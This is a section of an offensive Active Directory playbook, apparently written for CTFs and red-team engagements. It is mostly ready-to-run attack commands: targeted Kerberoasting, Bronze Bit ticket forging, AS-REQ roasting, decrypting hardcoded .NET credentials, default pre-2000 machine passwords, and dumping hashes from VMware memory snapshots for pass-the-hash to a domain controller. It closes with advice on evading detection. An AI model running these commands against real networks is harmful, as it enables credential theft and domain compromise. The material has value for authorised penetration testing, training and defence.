20 · Credential Attacks (Additional)¶
Targeted Kerberoast, Bronze Bit, AS-REQ roasting, pre-2000 computer accounts.
Phase overview
Specialized credential techniques that fill the gaps when the canonical attacks (3.1, 3.2, 4.1) don't apply.
20.1 · Targeted Kerberoasting¶
Why this works / how it chains
Most users don't have an SPN, so they're not Kerberoastable by default. With GenericWrite you can SET an SPN on them, then immediately Kerberoast (TGS for that fake SPN is encrypted with the user's hash). Always clean up the SPN afterwards.
What leads here
- GenericWrite on a user account
- Want to Kerberoast a specific user who has no SPN
- Set fake SPN → request ticket → crack
# Some examples:
# Set SPN on target user (GenericWrite required)
# PowerView
Set-DomainObject -Identity targetuser \
-Set @{serviceprincipalname='fake/spn.domain.local'}
# bloodyAD
bloodyAD set object 'targetuser' \
servicePrincipalName -v 'fake/spn.domain.local'
# Now Kerberoast them
impacket-GetUserSPNs domain.local/youruser:pass \
-dc-ip <DC_IP> \
-request-user targetuser
# Cleanup after
Set-DomainObject -Identity targetuser \
-Clear serviceprincipalname
20.2 · Bronze Bit (CVE-2020-17049)¶
Why this works / how it chains
The 'sensitive' flag tells the KDC not to forward this user's tickets. Bronze Bit forces the forwardable bit on the S4U2Proxy ticket regardless. Use impacket-getST -force-forwardable.
What leads here
- Constrained delegation configured
- Target account marked 'Account is sensitive and cannot be delegated'
- Normally S4U2Proxy would fail : Bronze Bit bypasses this
impacket-getST \
-spn cifs/target.domain.local \
-impersonate administrator \
-dc-ip <DC_IP> \
-force-forwardable \
domain.local/delegationuser:pass
export KRB5CCNAME=administrator.ccache
impacket-secretsdump -k -no-pass target.domain.local
20.3 · Kerberos Roasting via AS-REQ¶
Why this works / how it chains
Capture an AS-REQ encrypted timestamp and crack it offline (similar to ASREPRoast but for users with preauth enabled). Requires MITM position. Hash mode 7500.
.\Rubeus.exe asktgt /user:targetuser /domain:domain.local \
/dc:<DC_IP> /opsec /nowrap
# Captures the AS-REQ encrypted timestamp → crack with hashcat -m 7500
20.4 · .NET Binary Reversing, Extracting Hardcoded / Obfuscated Credentials¶
Why this works / how it chains
Developers frequently embed credentials directly in custom tooling distributed to staff: LDAP binders, helpdesk utilities, deployment scripts. .NET assemblies are trivially decompilable to near-original C# source using ilspycmd (Linux CLI) or dnSpy/ILSpy (Windows GUI). The pattern appears in many CTF machines and real engagements: an SMB share exposes a .exe, strings reveals interesting symbols (getPassword, enc_password, FromBase64String), decompile gives you the XOR/Base64/RC4 routine, and a ten-line Python script recovers the cleartext.
What leads here
- SMB share (even guest-readable) contains a custom
.exeor.dll stringsoutput shows:enc_password,getPassword,LdapQuery,DirectoryEntry,FromBase64String,Encoding.ASCII.GetBytes, a PDB path referencing dev usernames- Binary is a PE32 / Mono/.NET assembly (confirmed by
filecommand)
# Identify file type
file <EXAMPLE_FILE>.exe
# → PE32 executable (console) Mono/.Net assembly
# Quick string scan: look for crypto clues and PDB paths
strings <EXAMPLE_FILE>.exe | grep -iE "password|cred|key|secret|encode|base64|xor|ldap|entry|searcher"
# PDB path often reveals dev username / internal repo structure
strings <EXAMPLE_FILE>.exe | grep -i ".pdb"
# → C:\Users\0xdf\source\repos\<EXAMPLE_FILE>\obj\Release\<EXAMPLE_FILE>.pdb
# Install ilspy CLI (Linux)
dotnet tool install --global ilspycmd # or: apt install ilspy
# Decompile full assembly to a single source file
ilspycmd <EXAMPLE_FILE>.exe > source.cs
# Decompile to a directory of individual class files (cleaner for large binaries)
ilspycmd -p -o ./decompiled/ <EXAMPLE_FILE>.exe
# Search the decompiled source for credential-handling logic
grep -n "password\|encrypt\|key\|base64\|XOR\|GetBytes" source.cs -i
# Common pattern in custom tools:
# - A static string (Base64-encoded ciphertext)
# - A hardcoded key (ASCII string or byte array)
# - XOR loop + optional constant (e.g. 0xDF)
# Example from decompiled source:
# private static string enc_password = "<REDACTED>";
# private static byte[] key = Encoding.ASCII.GetBytes("<REDACTED>");
# for (int i = 0; i < array.Length; i++)
# array2[i] = (byte)((array[i] ^ key[i % key.Length]) ^ 0xDFu);
import base64
enc_password = "<REDACTED>"
key = b"<REDACTED>" # from GetBytes("<REDACTED>") in source
xor_const = 0xDF # additional constant XORed per byte (0x00 if absent)
data = bytearray(base64.b64decode(enc_password))
for i in range(len(data)):
data[i] = (data[i] ^ key[i % len(key)]) ^ xor_const
print(data.decode())
# → <REDACTED>
# Test against SMB (quickest validation)
nxc smb <DC_IP> -u ldap -p '<REDACTED>'
# → [+] domain\ldap:<REDACTED>
# Test WinRM
nxc winrm <DC_IP> -u ldap -p '<REDACTED>'
# Use recovered cred for LDAP enumeration (cred is often a service account
# with domain-read permissions: mine all user attributes next)
ldapsearch -x -H ldap://<DC_IP> \
-D 'domain\ldap' -w '<REDACTED>' \
-b 'dc=domain,dc=local' '(objectClass=user)' \
sAMAccountName description info comment
Other obfuscation patterns to look for
| Pattern | Tool to use |
|---|---|
| AES/DES with hardcoded IV + key | Replicate in Python with pycryptodome |
| RC4 with static key | from Crypto.Cipher import ARC4 |
| ROT13 / simple shift | Identify via character frequency analysis |
| Custom alphabet Base64 | Find TranslationTable or maketrans in source |
| Config file read at runtime | Check App.config / <EXAMPLE_FILE>.exe.config in the same directory |
ProtectedData.Protect (DPAPI) |
Requires the same user context, run on the target machine |
Leads to →
- Recovered service account password → LDAP enumeration → cleartext creds in user attributes → Phase 1.4
- Service account has domain-read → BloodHound collection → Phase 4.2
20.5 · Pre-2000 Computer Accounts¶
Why this works / how it chains
Accounts created with the pre-2000 compatibility flag have a default password equal to the lowercase computer name. The userAccountControl bitmask filter (1.2.840.113556.1.4.803:=4096) finds them. Always worth a try in legacy environments.
What leads here
- Old computer accounts with the 'Pre-Windows 2000' compatible flag
- Default password = lowercase computer name (without $)
- Limited rights but useful for Kerberoasting and enumeration
# Find pre-2000 computer accounts
ldapsearch -x -H ldap://<DC_IP> -b "DC=domain,DC=local" \
"(&(objectClass=computer)(userAccountControl:1.2.840.113556.1.4.803:=4096))" \
sAMAccountName
# Try default password: hostname (lowercase, no $)
nxc smb <DC_IP> -u 'OLDPC$' -p 'oldpc' -d domain.local
# Use for enumeration/Kerberoasting if successful
impacket-GetUserSPNs domain.local/'OLDPC$':oldpc -dc-ip <DC_IP> -request
20.6 · Memory Forensics: Credential Extraction from VMware Snapshots¶
Why this works / how it chains
VMware .vmem files are raw memory snapshots of a guest VM. Volatility 3 can parse the Windows memory structures directly and run the same hashdump logic that mimikatz uses on live LSASS, but entirely offline, no EDR, no AV, no Windows. The scenario: a service account with BackupAccess group membership can read a VMBackups SMB share containing VM snapshot files. Download the .vmem (the raw memory), run Volatility windows.hashdump, and extract local NT hashes from the snapshot.
Even if the snapshotted machine is not the DC, its local Administrator hash is almost always reused across the estate and will work as PtH on the real DC (lazy imaging is the norm, not the exception).
What leads here
- Shell as an account that is member of
BackupAccessor equivalent, or has READ on a VMBackups-style share - SMB share contains
.vmem/.vmdk/.vmsnfiles (VMware snapshots) - The VM snapshot is of a Windows target (Volatility needs Windows guest)
# From Windows shell (svc_deploy after BadSuccessor):
cmd /c dir \\dc01\VMBackups
cmd /c dir /s \\dc01\VMBackups\<BACKUP_FOLDER>
# From Linux with Kerberos ccache:
export KRB5CCNAME=evil-dmsa.ccache
impacket-smbclient -k -no-pass dc01.domain.local
# use VMBackups
# ls
# cd <BACKUP_FOLDER>
# cd "memory forensics"
# ls
# The .vmem file is the raw memory, required for hashdump
# The .vmdk contains the disk (not needed for hashdump, but useful for file extraction)
# Large files: .vmem is often 2–4 GB; use impacket-smbclient or smbget
# impacket-smbclient interactive download
impacket-smbclient -k -no-pass dc01.domain.local
# get "<SNAPSHOT>.vmem"
# → file downloads to current directory
# Or smbget (non-interactive, resumable)
smbget -R smb://dc01.domain.local/VMBackups/ \
--guest -k \
--file "<BACKUP_FOLDER>/memory forensics/<SNAPSHOT>.vmem"
# Check what you have
ls -lh *.vmem
# Volatility 3 (preferred: no profile selection needed)
vol -f '<SNAPSHOT>.vmem' windows.hashdump
# Output format: username RID LMhash NThash
# Administrator 500 aad<REACTED> f29<REACTED>
# Guest 501 aad<REACTED> 31d<REACTED>
# Volatility 2 (requires profile: use imageinfo first)
vol.py -f '<SNAPSHOT>.vmem' imageinfo
vol.py -f '<SNAPSHOT>.vmem' --profile=Win2019x64 hashdump
# List running processes at snapshot time
vol -f memory.vmem windows.pslist
# Network connections at snapshot time (often reveals lateral movement hints)
vol -f memory.vmem windows.netstat
# Dump LSASS-equivalent: cached domain logons + cleartext (if WDigest enabled)
vol -f memory.vmem windows.lsadump
# Extract LSA secrets (service account passwords, DefaultPassword)
vol -f memory.vmem windows.secrets
# Scan for strings resembling passwords in process memory
vol -f memory.vmem windows.strings | grep -iP "password|pass=|pwd="
# Dump cached credentials (domain logon cache, DCC2)
vol -f memory.vmem windows.cachedump
# Test Administrator hash against the live DC
nxc smb dc01.domain.local -u Administrator -H <NT_HASH>
# → [+] domain\Administrator:<NT_HASH> (Pwn3d!)
# WinRM as Administrator
evil-winrm -i <DC_IP> -u Administrator -H <NT_HASH>
# Full domain secrets dump (once you're DA)
impacket-secretsdump domain.local/Administrator@dc01.domain.local -hashes aad<REACTED>:<NT_HASH>
Thought process
The .vmem NT hashes are local SAM hashes from the guest VM, not the DC's domain hashes. But in environments that use golden-image deployments (very common), the local Administrator account has the same password everywhere. One hash from a 2019 Server snapshot = potential PtH across dozens of production servers and often the DC itself.
VMware file types
| Extension | Contains | Useful for |
|---|---|---|
.vmem |
Raw RAM of the guest at snapshot time | vol hashdump, LSASS creds, memory strings |
.vmdk |
Disk image (full or differential -000001) |
File extraction, registry hives offline |
.vmsn |
Suspend state + saved register snapshot | Pairs with .vmem for full memory reconstruction |
.nvram |
BIOS/UEFI state | Rarely useful offensively |
Leads to →
- Administrator NT hash → PtH →
(Pwn3d!)on DC → Phase 13 (DCSync full dump) windows.lsadumpreveals DefaultPassword or cached domain creds → more accounts- Disk
.vmdk→ mount offline → extract files / registry hives → additional creds
Detection / OPSEC
- Downloading a 2–10 GB
.vmemfile over SMB generates substantial file-read events (EID 5145) on the DC hosting the share - The transfer volume alone (GB over LAN in seconds) is anomalous in most environments
- Copy the file to a local staging host first if you have one; avoid pulling it directly to your attacker box over the VPN where bandwidth is a bottleneck and network metadata is logged